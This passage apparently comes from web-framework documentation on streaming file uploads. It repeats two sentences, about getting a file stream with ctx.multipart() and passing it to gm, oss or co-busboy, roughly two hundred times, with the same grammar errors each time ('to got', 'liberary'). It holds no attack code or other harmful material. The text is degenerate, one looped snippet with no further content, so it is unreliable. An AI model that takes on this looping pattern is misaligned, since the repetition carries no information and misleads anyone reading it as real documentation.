disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as 